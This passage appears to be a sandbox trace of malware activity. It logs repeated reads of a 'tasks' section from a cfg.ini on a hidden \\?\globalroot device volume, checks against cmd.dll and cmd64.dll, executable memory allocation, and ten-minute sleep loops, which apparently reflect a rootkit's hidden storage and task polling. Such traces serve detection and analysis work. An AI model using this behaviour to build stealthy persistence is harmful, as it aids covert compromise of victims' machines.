lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.145] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.145] KeEnterCriticalRegion () [0126.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.148] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.148] IdePortDispatch () returned 0x103 [0126.148] KeWaitForMutexObject () returned 0x0 [0126.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.148] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.148] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.148] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.148] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.148] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037de3c0 [0126.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.148] KeLeaveCriticalRegion () [0126.148] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.148] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.148] KeEnterCriticalRegion () [0126.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.148] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.148] KeLeaveCriticalRegion () [0126.148] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.148] KeEnterCriticalRegion () [0126.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.148] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.148] IdePortDispatch () returned 0x103 [0126.149] KeWaitForMutexObject () returned 0x0 [0126.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.149] KeLeaveCriticalRegion () [0126.149] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.149] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.149] KeEnterCriticalRegion () [0126.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c0000 [0126.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.149] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.149] IdePortDispatch () returned 0x103 [0126.149] KeWaitForMutexObject () returned 0x0 [0126.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.149] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.149] IdePortDispatch () returned 0x103 [0126.149] KeWaitForMutexObject () returned 0x0 [0126.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.150] KeLeaveCriticalRegion () [0126.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.150] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.150] KeEnterCriticalRegion () [0126.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.150] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.150] KeLeaveCriticalRegion () [0126.150] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.150] KeEnterCriticalRegion () [0126.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.150] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.150] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.150] KeLeaveCriticalRegion () [0126.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.150] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.150] KeEnterCriticalRegion () [0126.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.150] ExFreePoolWithTag (P=0xfffffa80037de3c0, Tag=0x0) [0126.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.150] KeLeaveCriticalRegion () [0126.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.150] ReleaseMutex (hMutex=0xf0) returned 1 [0126.151] Sleep (dwMilliseconds=0x927c0) [0126.165] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.165] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.165] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.165] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.165] KeEnterCriticalRegion () [0126.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.165] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.165] IdePortDispatch () returned 0x103 [0126.165] KeWaitForMutexObject () returned 0x0 [0126.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.165] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.165] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.165] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.165] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.165] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800388f750 [0126.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.165] KeLeaveCriticalRegion () [0126.165] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.165] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.165] KeEnterCriticalRegion () [0126.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.165] KeLeaveCriticalRegion () [0126.165] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.165] KeEnterCriticalRegion () [0126.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.166] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.166] IdePortDispatch () returned 0x103 [0126.166] KeWaitForMutexObject () returned 0x0 [0126.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.166] KeLeaveCriticalRegion () [0126.166] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.166] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.166] KeEnterCriticalRegion () [0126.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c5000 [0126.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.166] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.166] IdePortDispatch () returned 0x103 [0126.166] KeWaitForMutexObject () returned 0x0 [0126.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.166] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.166] IdePortDispatch () returned 0x103 [0126.166] KeWaitForMutexObject () returned 0x0 [0126.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.167] KeLeaveCriticalRegion () [0126.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.167] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.167] KeEnterCriticalRegion () [0126.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.167] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.167] KeLeaveCriticalRegion () [0126.167] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.167] KeEnterCriticalRegion () [0126.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.167] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.167] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.167] KeLeaveCriticalRegion () [0126.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.167] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.167] KeEnterCriticalRegion () [0126.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.168] ExFreePoolWithTag (P=0xfffffa800388f750, Tag=0x0) [0126.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.168] KeLeaveCriticalRegion () [0126.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.168] ReleaseMutex (hMutex=0xf0) returned 1 [0126.168] Sleep (dwMilliseconds=0x927c0) [0126.182] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.182] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.182] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.182] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.182] KeEnterCriticalRegion () [0126.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.182] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.182] IdePortDispatch () returned 0x103 [0126.182] KeWaitForMutexObject () returned 0x0 [0126.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.182] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.182] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.182] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.182] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.182] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002856a30 [0126.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.182] KeLeaveCriticalRegion () [0126.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.182] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.182] KeEnterCriticalRegion () [0126.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.182] KeLeaveCriticalRegion () [0126.182] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.183] KeEnterCriticalRegion () [0126.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.183] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.183] IdePortDispatch () returned 0x103 [0126.183] KeWaitForMutexObject () returned 0x0 [0126.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.183] KeLeaveCriticalRegion () [0126.183] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.183] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.183] KeEnterCriticalRegion () [0126.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ca000 [0126.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.183] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.183] IdePortDispatch () returned 0x103 [0126.183] KeWaitForMutexObject () returned 0x0 [0126.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.183] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.183] IdePortDispatch () returned 0x103 [0126.183] KeWaitForMutexObject () returned 0x0 [0126.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.184] KeLeaveCriticalRegion () [0126.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.184] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.184] KeEnterCriticalRegion () [0126.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.184] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.184] KeLeaveCriticalRegion () [0126.184] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.184] KeEnterCriticalRegion () [0126.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.184] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.184] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.184] KeLeaveCriticalRegion () [0126.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.184] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.184] KeEnterCriticalRegion () [0126.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.184] ExFreePoolWithTag (P=0xfffffa8002856a30, Tag=0x0) [0126.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.184] KeLeaveCriticalRegion () [0126.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.185] ReleaseMutex (hMutex=0xf0) returned 1 [0126.185] Sleep (dwMilliseconds=0x927c0) [0126.199] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.199] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.199] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.199] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.199] KeEnterCriticalRegion () [0126.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.199] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.199] IdePortDispatch () returned 0x103 [0126.199] KeWaitForMutexObject () returned 0x0 [0126.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.199] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.199] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.200] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.200] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.200] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365bf60 [0126.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.200] KeLeaveCriticalRegion () [0126.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.200] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.200] KeEnterCriticalRegion () [0126.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.200] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 